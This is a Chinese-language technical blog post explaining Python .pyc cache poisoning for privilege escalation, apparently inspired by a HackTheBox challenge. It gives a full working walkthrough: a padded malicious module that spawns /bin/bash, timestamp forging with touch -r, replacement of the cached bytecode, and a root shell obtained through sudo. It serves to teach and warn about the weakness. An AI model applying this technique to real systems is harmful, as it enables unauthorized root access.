当前位置:首页>python>Python 缓存中毒——利用恶意字节码提升您的权限

Python 缓存中毒——利用恶意字节码提升您的权限

  • 2026-09-02 20:35:58
Python 缓存中毒——利用恶意字节码提升您的权限
Python 缓存中毒在机械上很简单,并且在特定且遗憾地仍然常见的配置错误下可以被利用。在某些情况下,正如最近一次HackTheBox挑战(该挑战将不具名)所示,它可以被用来提升恶意用户的权限并攻破系统。但首先让我们理解为什么它有字节码缓存机制。

Python 对象:

当你运行脚本时,解释器会编译你导入的所有模块(即不是脚本本身),并将生成的字节码存储在模块源代码旁边的一个文件夹里。当你再次运行脚本时,如果没有变化,解释器会直接从缓存加载字节码。
该机制允许解释器跳过文件解析,加快整体执行速度。关于字节码的具体描述和执行内部结构,可以查看 opensource.com 上的这篇文章。

让我们来考虑一个非常简单的例子。该文件是调用以下部分函数的主脚本:
pyc_poison.pypyc_mod
import pyc_mod as mod  def main():  print("Hello World!")  print(mod.sum_square(2, 3))  print(mod.square(2))  if __name__ == "__main__":  main()
该文件定义了这两个和功能:pyc_mod.pysquaresum_square
# (not so) complex module that provides helper functions  # for squaring and summing squares of integers  # return the sum of the squares of two integers  def sum_square(a: int, b: int) -> int:  return a * a + b * b  def square(a: int) -> int:  return a * a
让我们看看脚本运行时会发生什么:pyc_poison.py
% python3 pyc_poison.py  Hello World!  13  4  % ls __pycache__  pyc_mod.cpython-314.pyc  % stat -x -t %s pyc_mod.py  File: "pyc_mod.py"  Size: 248 FileType: Regular File  Mode: (0644/-rw-r--r--) Uid: ( 501/bigfatfrodo) Gid: ( 20/ staff)  Device: 1,14 Inode: 51659942 Links: 1  Access: 1769005410  Modify: 1769005409  Change: 1769005409  Birth: 1769002236
如果我们往里看,可以看到以下内容:
% xxd __pycache__/pyc_mod.cpython-314.pyc | head -4  00000000: 2b0e 0d0a 0000 0000 61e1 7069 f800 0000 +.......a.pi....  00000010: e300 0000 0000 0000 0000 0000 0002 0000 ................  00000020: 0000 0000 00f3 1e00 0000 8000 5200 1700 ............R...  00000030: 5201 1700 6c10 7400 5202 1700 5203 1700 R...l.t.R...R...  .....

.pyc 文件属性

在准备缓存中毒时,我们需要了解目标文件的格式。目标文件的头部为16字节,具体如下:

  • bytes:识别Python版本的魔术数字。0-3
  • 字节:位字段; 对于基于时间戳、基于哈希的未检查、基于哈希的检查。4-7013
  • 字节:源修改时间戳(由返回的)或哈希(取决于位字段)8-11stat
  • 字节:源文件大小12-15
  • bytes : 封存对象代码16+

对我们的档案进行快速现实检验:

  • 魔术数字,识别Python 3.14.20x2b 0x0e 0x0d 0x0a
  • 我们的源文件大小为248字节,或者0xf8
  • 基于时间戳的检查,因为位字段为0。修改源的时间戳为1769005409,与头部中的端序相符。0x6970e161
注意:如果这些文件中有任何不匹配——比如 Python 版本、源文件大小——或者源代码比缓存文件更新,缓存文件将被丢弃并重新编译代码。

缓存中毒

这些检查并不难让恶意行为者创建自定义的编译对象,比如给他一个 shell。结合其他安全漏洞,比如允许普通用户以 root 身份运行,允许对缓存文件夹进行世界写入访问,可能导致权限升级:
在我们的例子中,我们创建一个文件,目的是用一个新的对象替换编译后的对象,当调用 时,我们会被带入到一个 shell 中:
pyc_malicious.pypyc_modsum_squarepyc_poison.py
import pty  #12345678  #12345678  #12345678  #12345678  #12345678  #12345678  #12345678  #12345678  #12  # return the sum of the squares of two integers  def sum_square(a, b: int) -> int:  pty.spawn('/bin/bash')  def square(a: int) -> int:  return a * a
该文件的大小必须正好为248字节——因此有填充注释。该函数被shell spawn替换。另一个函数sum_square保持不变。
该文件可通过运行 直接编译,结果也会被放入该文件夹中。
python3 -m py_compile pyc_malicious.py__pycache__
% ls __pycache__/  pyc_malicious.cpython-314.pyc pyc_mod.cpython-314.pyc
现在,缓存文件夹里有原始的对象文件,也有新的目标文件。注意我生成目标文件时使用了相同的 Python 版本。pyc_modpyc_malicious
现在让我们对比这两份文件:
% xxd __pycache__/pyc_mod.cpython-314.pyc| head -1  00000000: 2b0e 0d0a 0000 0000 61e1 7069 f800 0000 +.......a.pi....  %  % xxd __pycache__/pyc_malicious.cpython-314.pyc| head -1  00000000: 2b0e 0d0a 0000 0000 fd07 7a69 f800 0000 +.........zi....
魔数、位域和大小场是匹配的。剩下的就是让时间戳字段也匹配。我们可以用touch:
% touch -r pyc_mod.py pyc_malicious.py  % stat -x -t %s pyc_malicious.py  File: "pyc_malicious.py"  Size: 248 FileType: Regular File  Mode: (0644/-rw-r--r--) Uid: ( 501/bigfatfrodo) Gid: ( 20/ staff)  Device: 1,14 Inode: 52358264 Links: 1  Access: 1769605821  Modify: 1769005409  Change: 1769605820  Birth: 1769005409
touch -r使用引用文件,并更新目标文件上修改的时间戳以匹配该引用。这正是我们需要的。
如果我们再次编译并检查头部:
% python3 -m py_compile pyc_malicious.py  % xxd __pycache__/pyc_mod.cpython-314.pyc| head -1  00000000: 2b0e 0d0a 0000 0000 61e1 7069 f800 0000 +.......a.pi....  % xxd __pycache__/pyc_malicious.cpython-314.pyc| head -1  00000000: 2b0e 0d0a 0000 0000 61e1 7069 f800 0000 +.......a.pi....
现在这两个文件的头完全匹配。我们可以复制第二个文件,并像之前一样运行脚本,得到一个 shell:pyc_poison.py
% mv __pycache__/pyc_malicious.cpython-314.pyc __pycache__/pyc_mod.cpython-314.pyc  % ls __pycache__  pyc_mod.cpython-314.pyc  % python3 pyc_poison.py  Hello World!  The default interactive shell is now zsh.  To update your account to use zsh, please run `chsh -s /bin/zsh`.  For more details, please visit https://support.apple.com/kb/HT208050.  bash-3.2$

或者,如果允许用户运行 ,则获得 #_root_ shell:`python``sudo`

% sudo python3 pyc_poison.py  Hello World!  The default interactive shell is now zsh.  To update your account to use zsh, please run `chsh -s /bin/zsh`.  For more details, please visit https://support.apple.com/kb/HT208050.  bash-3.2#

安全启示

  • 缓存非安全机制:其设计目标是性能优化,而非防御。

  • 权限配置风险:若缓存目录可写,攻击者可轻易注入恶意字节码。

  • PEP-552 的局限性:虽然引入了基于哈希的校验,但为避免性能损耗,部分场景未启用。

——比如 Python 版本、源文件大

小——或者源代码比缓存文件更新,缓存文件将被丢弃并重

最新文章

随机文章